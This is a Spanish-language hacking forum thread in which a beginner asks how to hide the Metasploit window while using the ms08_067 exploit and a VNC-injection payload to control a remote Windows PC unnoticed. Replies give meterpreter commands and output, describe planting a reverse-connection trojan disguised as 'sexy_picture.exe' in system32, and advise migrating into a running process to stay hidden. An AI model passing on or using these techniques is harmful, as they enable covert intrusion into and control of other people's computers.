 Autor
|
Tema: Duda con Metasploit y Payload vncinject. (Leído 12,025 veces)
|
oliver91
 Desconectado
Mensajes: 10
Disfrutando el aprendizaje de las cosas inusuales.
|
Hola que tal, soy nuevo acá, estoy iniciando en este magnífico mundo del hack, he avanzado un poco gracias a esta gran comunidad.
Bien pues quisiera hacer una pregunta, ojala que no ofenda por mi novatez.
Utilizo el exploit: Windows/smb/ms08_067_netapi.
Y el payload: windows/vncinject/bind_tcp.
Esto para obtener gráficamente la PC remota.
Todo va perfecto solo que en la PC remota aparece todo lo que yo hago y la ventana de metasploit, y obviamente si la cierra, adiós intrusión.
Mi pregunta es: hay alguna forma de hacer esto pero oculto?
Es decir ocultar la ventana de metasploit y que no se vea todo lo que se realiza desde mi PC?
Gracias de antemano y disculpen si es una pregunta estúpida.
Saludos
|
|
|
|
|
En línea
|
|
|
|
CloudswX
Desconectado
Mensajes: 806
"La física es el sistema operativo del Universo"
|
Pues te dire.. En mi caso particular primero utilizo el payload METERPRETER: > set PAYLOAD windows/meterpreter/reverse_tcp Luego de esto configuro todas mis variables: Y hecho esto exploto: Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP Service Pack 2 - lang:Spanish
Selected Target: Windows XP SP2 Spanish (NX)
Triggering the vulnerability...
Sending stage (723456 bytes)
Meterpreter session 1 opened (192.168.0.4:4367 -> 192.168.0.5:4444)
meterpreter > Una vez conseguida la sesion Meterpreer le subo un troyano de conexion inversa bien compilado haciendo uso de los comandos Upload y Download que sirven para subir y bajar archivos de la maquina remota. meterpreter > upload sexy_picture.exe c:\\windows\\system32
[*] uploading : sexy_picture.exe -> c:\windows\system32
[*] uploaded : sexy_picture.exe -> c:\windows\system32\sexy_picture.exe
meterpreter > Y despues que tienes un troyano dentro no necesitas mas nada. Asi es como lo hago en mi casa y nunca le ha saltado nada a la ventana de la pc remota. |
|
|
|
|
En línea
|
 «Dios no juega a los dados, usa /dev/random.» twitter: @cloudswx |
|
|
oliver91
Desconectado
Mensajes: 10
Disfrutando el aprendizaje de las cosas inusuales.
|
Que tal, Muchas gracias por responder, se como subir y bajar archivos desde meterpreter pero mi problema es que no tengo nada que subirle a esa PC, no tengo algún troyano, o virus, es por eso que preferí usar la opción VNC que trae metasploit, mi único problema es que en la PC remota aparece la ventana de meterpreter, habrá alguna forma de evitar que aparezca?, no sé, desde la consola de comandos, desde el registro o alguna opción del mismo payload?
De verdad muchas gracias por tomarte la molestia de responder. Gracias
|
|
|
|
|
En línea
|
|
|
|
CloudswX
Desconectado
Mensajes: 806
"La física es el sistema operativo del Universo"
|
Cuando consigas sesion con el meterpreter migra a algun proceso activo en la pc remota, con esto es suficiente para que estes camuflajeado mientras operas.
|
|
|
|
|
En línea
|
«Dios no juega a los dados, usa /dev/random.» twitter: @cloudswx |
|
|
oliver91
Desconectado
Mensajes: 10
Disfrutando el aprendizaje de las cosas inusuales.
|
Muchas gracias una vez más por tu respuesta, quieres decir que si migro por ejemplo a winlogon o al mismo explorer desde el meterpreter ya no saldrá la ventana del metasploit?Disculpa la ignorancia.
También probé a cerrar de inmediato dicha ventana y va perfecto, no aparece ningún proceso sospechoso, pero mi problema sigue siendo que salta esa ventana, lo cual levantara sospechas en seguida.
Gracias de verdad por tus respuestas.
|
|
|
|
|
En línea
|
|
|
|
CloudswX
Desconectado
Mensajes: 806
"La física es el sistema operativo del Universo"
|
Muchas gracias una vez más por tu respuesta
Pues para estamos hermano, para compartir los conocimientos.. Prueba migrando a algun proceso y luego inyecta el vcn..
|
|
|
|
|
En línea
|
«Dios no juega a los dados, usa /dev/random.» twitter: @cloudswx |
|
|
oliver91
Desconectado
Mensajes: 10
Disfrutando el aprendizaje de las cosas inusuales.
|
Gracias de verdad amigo, por gente como tú, principiantes como yo podemos avanzar e ilusionarnos con alguna vez ayudar a alguien más como lo han hecho con nosotros. En cuanto a lo de migrar el proceso de meterpreter a algún otro no me ha funcionado, migre al explorer.exe y sigue apareciendo la ventana de metasploit. No sé si este haciendo algo mal, pero si migro por ejemplo a explorer.exe lo que estoy migrando es el proceso meterpreter no? O me faltara algún paso? Hago lo siguiente una vez en meterpreter: meterpreter > migrate 1572 - Migrating to 1572...
- Migration completed successfully.
meterpreter > exit - Meterpreter session 1 closed. Reason: User exit
msf exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp payload => windows/vncinject/bind_tcp msf exploit(ms08_067_netapi) > exploit Pienso que estoy mal en salir de meterpreter, porque no tendría caso migrarlo y salir no? Gracias por tu tiempo amigo. |
|
|
|
« Última modificación: 6 Mayo 2011, 22:43 pm por oliver91 »
|
En línea
|
|
|
|
CloudswX
Desconectado
Mensajes: 806
"La física es el sistema operativo del Universo"
|
Pues decirte que es exactamente eso que piensas, no tiene sentido migrar de proceso para cerrar posteriormente el meterpreter. Te dire que el vnc funciona de forma similar a un troyano primero debes INSTALAR una parte del VNC que hara de server. Cuando usas ese payload de vnc realmente estas abriendo una sesion sobre el proceso de Remote Desktop por lo que te salta esa ventana. Chequeate este video tutorial de Alex_shell_root que en mi opinion es uno de los mas iluminados con el metasploit. http://www.youtube.com/watch?v=k30889rxcOQOjala te sirva de algo. |
|
|
|
« Última modificación: 10 Mayo 2011, 15:30 pm por CloudswX »
|
En línea
|
«Dios no juega a los dados, usa /dev/random.» twitter: @cloudswx |
|
|
oliver91
Desconectado
Mensajes: 10
Disfrutando el aprendizaje de las cosas inusuales.
|
Gracias amigo y mira que lo del video es exactamente lo que hago, pero esa ventana que dice Metasploit Courtesy Shell, es mi problema. Bueno amigo de verdad muchas gracias por tu interés y mejor empiezo a buscar otra manera de ingresar sin que se puedan dar cuenta, o hacer todo desde una consola remota.
Muchas gracias por tu ayuda!!!!!!!!!!!!!!
|
|
|
|
|
En línea
|
|
|
|
bernolas
Desconectado
Mensajes: 5
|
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
|
[Metasploit] Generando Ejecutable con PAYLOAD
Hacking
|
Shell Root
|
9
|
16,057
|
2 Mayo 2010, 13:01 pm
por piper_maru
|
|
|
|
Inline ASM shell using Metasploit Payload [SRC]
« 1 2 »
Programación Visual Basic
|
cobein
|
11
|
7,581
|
8 Enero 2010, 03:46 am
por Jaixon Jax
|
|
|
|
[Fast-Track + Metasploit][b] PAYLOAD Automatically Generate
Hacking
|
Shell Root
|
0
|
4,481
|
23 Enero 2010, 00:05 am
por Shell Root
|
|
|
|
Error al ejecutar payload en formato vbs de metasploit que linea debo modificar
Análisis y Diseño de Malware
|
Mister12
|
1
|
2,864
|
2 Julio 2014, 22:00 pm
por MeCraniDOS
|
|
|
|
windows-metasploit-payload
Windows
|
elputaso123
|
8
|
4,725
|
21 Julio 2014, 01:22 am
por elputaso123
|
 |
